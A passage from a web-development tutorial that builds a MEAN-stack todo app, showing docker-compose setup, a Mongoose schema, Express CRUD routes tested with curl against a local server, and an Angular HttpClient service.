class="string">&#x27;root&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> TodoService &#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">constructor</span>(<span class="params"><span class="keyword">private</span> http: HttpClient</span>) &#123; &#125;</span><br><span class="line"></span><br><span class="line">  get(params = &#123;&#125;) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.get(API, &#123; params &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ...</span></span><br></pre></td></tr></table></figure>

<p>We change the <code>TodoService.get</code> to use HTTP client. However, the component was responding to a Promise, and the HTTP.get returns an Observable. So, let’s change it.</p>
<p>Change the getTodos method from the old one to use this one that handles an observable.</p>
<figure class="highlight ts"><figcaption><span>src/app/todo/todo.component.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">getTodos(query = <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">this</span>.todoService.get(query).subscribe(<span class="function"><span class="params">todos</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.todos = todos;</span><br><span class="line">    <span class="built_in">this</span>.activeTasks = <span class="built_in">this</span>.todos.filter(<span class="function"><span class="params">todo</span> =&gt;</span> !todo.isDone).length;</span><br><span class="line">  &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The main difference is that instead of a <code>.then</code>, we are using <code>.subscribe</code>. Everything else remains the same (for now).</p>
<p>That’s it, let’s test it out!</p>
<p>Run these commands on your terminal:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## run node server</span></span><br><span class="line">nodemon server/bin/www</span><br></pre></td></tr></table></figure>

<p>on another terminal session run also:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## run angular App</span></span><br><span class="line">ng serve</span><br></pre></td></tr></table></figure>

<p>Once you have both running, you can go to <a href="http://localhost:4200/all">http://localhost:4200/all</a>, and you can verify that it’s coming from your server!</p>
<p>If you are running <code>nodemon</code>, you can change the TODOS on <code>server/routes/todos.js</code> and refresh the browser, and see how it changes.</p>
<p>But, we don’t want to have hard-coded tasks. Let’s create a proper DB with Mongo.</p>
<h2 id="Setting-up-MongoDB"><a href="#Setting-up-MongoDB" class="headerlink" title="Setting up MongoDB"></a>Setting up MongoDB</h2><p>It’s time to get MongoDB up and running. If don’t have it installed, you have a couple of options:</p>
<details>
 <summary>Docker (Windows/macOS/Linux) [Preferred]</summary>

<ol>
<li><p>Download the <a href="https://docs.docker.com/engine/install/">docker engine</a></p>
</li>
<li><p>Pull Mongo image</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull mongo</span><br></pre></td></tr></table></figure>

<p>NOTE: More details in the rest of the post.</p>
</li>
</ol>
</details>

<details>
 <summary>Official Website (Windows/macOS/Linux)</summary>

<p> You can download it from here:</p>
<p> <a href="https://docs.mongodb.com/manual/administration/install-community/">https://docs.mongodb.com/manual/administration/install-community/</a></p>
</details>


<details>
 <summary>Brew (macOS)</summary>

 <figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">brew tap mongodb/brew</span><br><span class="line">brew install mongodb-community</span><br></pre></td></tr></table></figure>

</details>

<p>We are going to use Docker since it’s an excellent way to have everything running together with one command.
Also, you can deploy it to the cloud and scale it quickly.</p>
<h3 id="Dockerizing-the-MEAN-stack"><a href="#Dockerizing-the-MEAN-stack" class="headerlink" title="Dockerizing the MEAN stack"></a>Dockerizing the MEAN stack</h3><p>Let’s get everything running (Node Server, Angular, and Mongo).
We will create a docker-compose file, which is going to list all our services, and we can run them all at once.</p>
<figure class="highlight yml"><figcaption><span>docker-compose.yml</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&quot;3.7&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">app:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">node:lts-alpine</span></span><br><span class="line">    <span class="attr">working_dir:</span> <span class="string">/app</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./:/app</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">4200</span><span class="string">:4200</span></span><br><span class="line">    <span class="comment"># --host 0.0.0.0 to listen to all the interfaces from the container (dev env)</span></span><br><span class="line">    <span class="attr">command:</span> <span class="string">&gt;</span></span><br><span class="line">      <span class="string">sh</span> <span class="string">-c</span> <span class="string">&quot;npm install &amp;&amp;</span></span><br><span class="line"><span class="string">             npx ng serve --host 0.0.0.0&quot;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">server:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">node:lts-alpine</span></span><br><span class="line">    <span class="attr">working_dir:</span> <span class="string">/server</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./server:/server</span></span><br><span class="line">    <span class="comment"># port 3000 has to match src/proxy.conf.json</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">3000</span><span class="string">:3000</span></span><br><span class="line">    <span class="attr">depends_on:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">mongo</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">MONGO_HOST:</span> <span class="string">mongo</span></span><br><span class="line">    <span class="attr">command:</span> <span class="string">&gt;</span></span><br><span class="line">      <span class="string">sh</span> <span class="string">-c</span> <span class="string">&quot;npm i -g nodemon &amp;&amp; npm install &amp;&amp; nodemon ./bin/www&quot;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">mongo:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">mongo</span></span><br></pre></td></tr></table></figure>

<p>All right, now we can get the whole full-stack App running with one command:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up --build</span><br></pre></td></tr></table></figure>

<p>NOTE: close other terminals running a web server so the ports don’t conflict.
The docker-compose command will create 3 containers for our Angular App, Node Server, and Mongo DB. You can also see all the logs in one place.</p>
<p>After you wait a minute or so, you should be able to open the App on <a href="http://localhost:4200/">http://localhost:4200/</a>.</p>
<p>Now we can make use of mongo. Keep docker-compose running and now let’s remove the hard-coded tests and use the database.</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/0763db0">0763db0</a> - docker compose</p>
</blockquote>
<h3 id="Creating-MongoDB-schema-with-Mongoose"><a href="#Creating-MongoDB-schema-with-Mongoose" class="headerlink" title="Creating MongoDB schema with Mongoose"></a>Creating MongoDB schema with Mongoose</h3><p>Let’s install Mongoose, which is a library for managing MongoDB from Node.js.</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> server &amp;&amp; npm i mongoose@5.9.18</span><br></pre></td></tr></table></figure>

<p>NOTE: make sure you installed it on the <code>./server/package.json</code>, rather than the client-side packages <code>./packages.json</code>.</p>
<p>The first thing we need to do is to connect to Mongo when our server starts. Go to <code>server/app.js</code> and add the following code:</p>
<figure class="highlight js"><figcaption><span>server/app.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> mongoose = <span class="built_in">require</span>(<span class="string">&#x27;mongoose&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// connect to db</span></span><br><span class="line"><span class="keyword">const</span> user = process.env.MONGO_USER;</span><br><span class="line"><span class="keyword">const</span> mongoPort = process.env.MONGO_PORT || <span class="number">27017</span>;</span><br><span class="line"><span class="keyword">const</span> mongoHost = process.env.MONGO_HOST || <span class="string">&#x27;localhost&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> auth = user ? <span class="string">`<span class="subst">$&#123;user&#125;</span>:<span class="subst">$&#123;process.env.MONGO_PASS&#125;</span>@`</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> DB_STRING = <span class="string">`mongodb://<span class="subst">$&#123;auth&#125;</span><span class="subst">$&#123;mongoHost&#125;</span>:<span class="subst">$&#123;mongoPort&#125;</span>/todos`</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Running node <span class="subst">$&#123;process.version&#125;</span>...`</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">`Connecting to DB... <span class="subst">$&#123;DB_STRING&#125;</span>`</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> config = &#123; <span class="attr">useNewUrlParser</span>: <span class="literal">true</span>, <span class="attr">useUnifiedTopology</span>: <span class="literal">true</span>&#125;;</span><br><span class="line">mongoose.connect(DB_STRING, config)</span><br><span class="line">  .then(<span class="function">() =&gt;</span> <span class="built_in">console</span>.log(<span class="string">`Connected!`</span>))</span><br><span class="line">  .catch(<span class="built_in">console</span>.error);</span><br></pre></td></tr></table></figure>

<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/15f6e25">15f6e25</a> - add db string to connect to mongo</p>
</blockquote>
<p>We can pass some ENV variables like <code>MONGO_HOST</code>. If we run it locally, it will use localhost, but if you run it on Docker, we want to pass a hostname. You can see that in the <code>docker-compose.yml</code> file.</p>
<p>Now, let’s define our data model for Mongo. Let’s create a folder <code>models</code> inside <code>server</code> and add a file called “todos.js”.</p>
<figure class="highlight js"><figcaption><span>server/models/todo.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> mongoose = <span class="built_in">require</span>(<span class="string">&#x27;mongoose&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> &#123; Schema, model &#125; = mongoose;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> TodoSchema = <span class="keyword">new</span> Schema(&#123;</span><br><span class="line">  title: <span class="built_in">String</span>,</span><br><span class="line">  isDone: <span class="built_in">Boolean</span>,</span><br><span class="line">  notes: <span class="built_in">String</span>,</span><br><span class="line">  updated_at: &#123; <span class="attr">type</span>: <span class="built_in">Date</span>, <span class="attr">default</span>: <span class="built_in">Date</span>.now &#125;,</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = model(<span class="string">&#x27;Todo&#x27;</span>, TodoSchema);</span><br></pre></td></tr></table></figure>

<p>The new schema is defining what fields we want to store and what the types are.
The <code>updated_at</code> will update automatically when we create a new todo.</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/436b0ad">436b0ad</a> - npm i mongoose</p>
</blockquote>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/b2674f3">b2674f3</a> - Creating MongoDB schema with Mongoose</p>
</blockquote>
<h3 id="Adding-all-the-API-routes-to-modify-data-in-the-DB"><a href="#Adding-all-the-API-routes-to-modify-data-in-the-DB" class="headerlink" title="Adding all the API routes to modify data in the DB"></a>Adding all the API routes to modify data in the DB</h3><p>Let’s add all the routes to create, read, update, and delete data from Mongo.</p>
<p>The Mongoose library provides some convenient methods to do CRUD operations:</p>
<ul>
<li>** Todo.find**: find data matching a given query. (<code>&#123;&#125;</code>, get all, while <code>&#123;isDone: true&#125;</code> get only completed tasks).</li>
<li>** Todo.create**: Create a new todo</li>
<li>** Todo.findByIdAndUpdate**: Find Todo by given id and update its content.</li>
<li>** Todo.findByIdAndDelete**: Find Todo by given id and delete it.</li>
<li>** Todo.deleteMany**: Delete everything matching a given query.</li>
</ul>
<p>Here are the routes by their matching HTTP verb (GET, PUT, POST, DELETE). In the next sections, we will test all these routes and go over some more details.</p>
<figure class="highlight js"><figcaption><span>server/routes/todos.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">&#x27;express&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> router = express.Router();</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> Todo = <span class="built_in">require</span>(<span class="string">&#x27;../models/todo&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* GET /api/todos */</span></span><br><span class="line">router.get(<span class="string">&#x27;/&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> list = <span class="keyword">await</span> Todo.find(req.query);</span><br><span class="line">    res.json(list);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* POST /api/todos */</span></span><br><span class="line">router.post(<span class="string">&#x27;/&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.create(req.body);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* PUT /api/todos/:id */</span></span><br><span class="line">router.put(<span class="string">&#x27;/:id&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> options = &#123; <span class="attr">new</span>: <span class="literal">true</span> &#125;;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.findByIdAndUpdate(req.params.id, req.body, options);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* DELETE /api/todos/:id */</span></span><br><span class="line">router.delete(<span class="string">&#x27;/:id&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.findByIdAndDelete(req.params.id);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Beaware: it can delete all data from db if body is empty (DON&#x27;T expoose deleteMany in PRODUCTION!)</span></span><br><span class="line"><span class="comment">/* DELETE /api/todos */</span></span><br><span class="line">router.delete(<span class="string">&#x27;/&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.deleteMany(req.body);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = router;</span><br></pre></td></tr></table></figure>

<p>We added many routes to this step. Take your time to go through them.
In the next section, we will test them using <code>curl</code> and then integrated them with Angular.</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/f4f2281">f4f2281</a> - Adding all all the API routes to modify data in DB</p>
</blockquote>
<h3 id="Testing-the-API-CRUD-operations"><a href="#Testing-the-API-CRUD-operations" class="headerlink" title="Testing the API CRUD operations"></a>Testing the API CRUD operations</h3><p>Since we installed a new package, <code>mongoose</code>, we have to run <code>npm install</code> in the docker containers. Otherwise, file changes are picked up automatically, and you don’t need to restart.</p>
<p>Stop <code>docker-compose</code> and start it again <code>docker-compose up --build</code>.</p>
<h4 id="Creating-a-new-task-and-getting-lists"><a href="#Creating-a-new-task-and-getting-lists" class="headerlink" title="Creating a new task and getting lists"></a>Creating a new task and getting lists</h4><p>You can create a new task using the following command:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -XPOST server:3000/api/todos -H <span class="string">&quot;Content-Type: application/json&quot;</span> -d <span class="string">&#x27;&#123;&quot;title&quot;: &quot;CRUD API&quot;, &quot;isDone&quot;: false&#125;&#x27;</span></span><br></pre></td></tr></table></figure>

<p>Now, let’s see if it’s there:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -XGET server:3000/api/todos</span><br></pre></td></tr></table></figure>

<p>You should have got something like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&#123;&quot;_id&quot;:&quot;5edc2a6d0c41d60054ad715f&quot;,&quot;title&quot;:&quot;CRUD API&quot;,&quot;isDone&quot;:false,&quot;updated_at&quot;:&quot;2020-06-06T23:44:45.966Z&quot;,&quot;__v&quot;:0&#125;]⏎</span><br></pre></td></tr></table></figure>

<p>You can also check Angular on <a href="http://localhost:4200/all">http://localhost:4200/all</a>. The new task should be there!</p>
<h4 id="Update-data-with-PUT-method"><a href="#Update-data-with-PUT-method" class="headerlink" title="Update data with PUT method"></a>Update data with PUT method</h4><p>If you remember from your routes file, we are using the method PUT to update tasks.</p>
<figure class="highlight js"><figcaption><span>server/routes/todos.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* PUT /api/todos */</span></span><br><span class="line">router.put(<span class="string">&#x27;/:id&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> options = &#123; <span class="attr">new</span>: <span class="literal">true</span> &#125;;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.findByIdAndUpdate(req.params.id, req.body, options);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.json(<span class="number">500</span>, &#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>By default <code>findByIdAndUpdate</code> returns the original document.
We are passing <code>&#123; new: true &#125;</code> so we can return the updated document.</p>
<p>For updating a task you need the <code>_id</code>. You can get it from the previous step, when we listed all the tasks. For my case the _id is <code>5edc2a6d0c41d60054ad715f</code>, find yours and replace it in the next command:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -XPUT server:3000/api/todos/5edc2a6d0c41d60054ad715f -H <span class="string">&quot;Content-Type: application/json&quot;</span> -d <span class="string">&#x27;&#123;&quot;title&quot;: &quot;Finish PUT API&quot;, &quot;isDone&quot;: true, &quot;note&quot;: &quot;New Field&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure>

<p>As you can see in the last update, we can modify existing fields and add new values like the <code>note</code> field.</p>
<h4 id="Erasing-data-with-the-DELETE-method"><a href="#Erasing-data-with-the-DELETE-method" class="headerlink" title="Erasing data with the DELETE method"></a>Erasing data with the DELETE method</h4><p>For our todo route, we also defined the DELETE method. Similar to the update, we need to pass and <code>id</code>.</p>
<figure class="highlight js"><figcaption><span>server/routes/todos.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* DELETE /api/todos */</span></span><br><span class="line">router.delete(<span class="string">&#x27;/:id&#x27;</span>, <span class="keyword">async</span> (req, res) =&gt; &#123;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> todo = <span class="keyword">await</span> Todo.findByIdAndDelete(req.params.id);</span><br><span class="line">    res.json(todo);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">    res.status(<span class="number">500</span>).json(&#123; error &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>

<p>Again, remember to replace the next call with yout <code>_id</code>:</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -X DELETE server:3000/api/todos/5edc2a6d0c41d60054ad715f</span><br></pre></td></tr></table></figure>

<p>If you check the UI, all tasks will be gone: <a href="http://localhost:4200/all">http://localhost:4200/all</a>.</p>
<p>As much fun as <code>curl</code> is, let’s move on and complete all these functionalities in Angular.</p>
<h2 id="Angular-Service-to-talk-to-the-server"><a href="#Angular-Service-to-talk-to-the-server" class="headerlink" title="Angular Service to talk to the server"></a>Angular Service to talk to the server</h2><p>There are two main changes that we need to make in other to use the API server.</p>
<ol>
<li>We need to change the <code>TodoService</code> service to use HTTP client.</li>
<li>Change the <code>TodoComponent</code> component to use the methods.</li>
</ol>
<h3 id="Angular-service-using-the-HTTP-client"><a href="#Angular-service-using-the-HTTP-client" class="headerlink" title="Angular service using the HTTP client"></a>Angular service using the HTTP client</h3><p>In the following code, we are using the HTTP client, to make the appropriate calls:</p>
<figure class="highlight js"><figcaption><span>src/app/todo/todo.service.ts</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> &#123; Injectable &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/core&#x27;</span>;</span><br><span class="line"><span class="keyword">import</span> &#123; HttpClient &#125; <span class="keyword">from</span> <span class="string">&#x27;@angular/common/http&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">export</span> interface ITodo &#123;</span><br><span class="line">  _id?: string;</span><br><span class="line">  title: string;</span><br><span class="line">  isDone: boolean;</span><br><span class="line">  notes: string;</span><br><span class="line">  update_at: string;</span><br><span class="line">  editing ?: boolean;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> API = <span class="string">&#x27;/api/todos&#x27;</span>;</span><br><span class="line"></span><br><span class="line">@Injectable(&#123;</span><br><span class="line">  providedIn: <span class="string">&#x27;root&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">export</span> <span class="class"><span class="keyword">class</span> <span class="title">TodoService</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(private http: HttpClient) &#123; &#125;</span><br><span class="line"></span><br><span class="line">  get(params = &#123;&#125;) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.get(API, &#123; params &#125;);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(data: ITodo) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.post(API, data);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  put(changed: ITodo) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.put(<span class="string">`<span class="subst">$&#123;API&#125;</span>/<span class="subst">$&#123;changed._id&#125;</span>`</span>, changed);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  toggle(selected: ITodo) &#123;</span><br><span class="line">    selected.isDone = !selected.isDone;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.put(selected);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">delete</span>(selected: ITodo) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.delete(<span class="string">`<span class="subst">$&#123;API&#125;</span>/<span class="subst">$&#123;selected._id&#125;</span>`</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  deleteCompleted(body = &#123; <span class="attr">isDone</span>: <span class="literal">true</span> &#125;) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.http.request(<span class="string">&#x27;delete&#x27;</span>, <span class="string">`<span class="subst">$&#123;API&#125;</span>`</span>, &#123; body &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The Todo service matches the HTTP verbs that we used in curl and passes the payloads.</p>
<p>Let’s now change the TodoComponent that goes along with these changes.</p>
<blockquote>
<p><a href="https://github.com/amejiarosario/angular-todo-app/commit/a93291c">a93291c</a> - Angular service using HTTP client</p>
</blockquote>
<h3 id="Angular-TodoComponet-updates"><a href="#Angular-TodoComponet-updates" class="headerlink" title="Angular TodoComponet updates"></a>Angular TodoComponet updates</h3><p>Here’s what your component should look like this:</p>
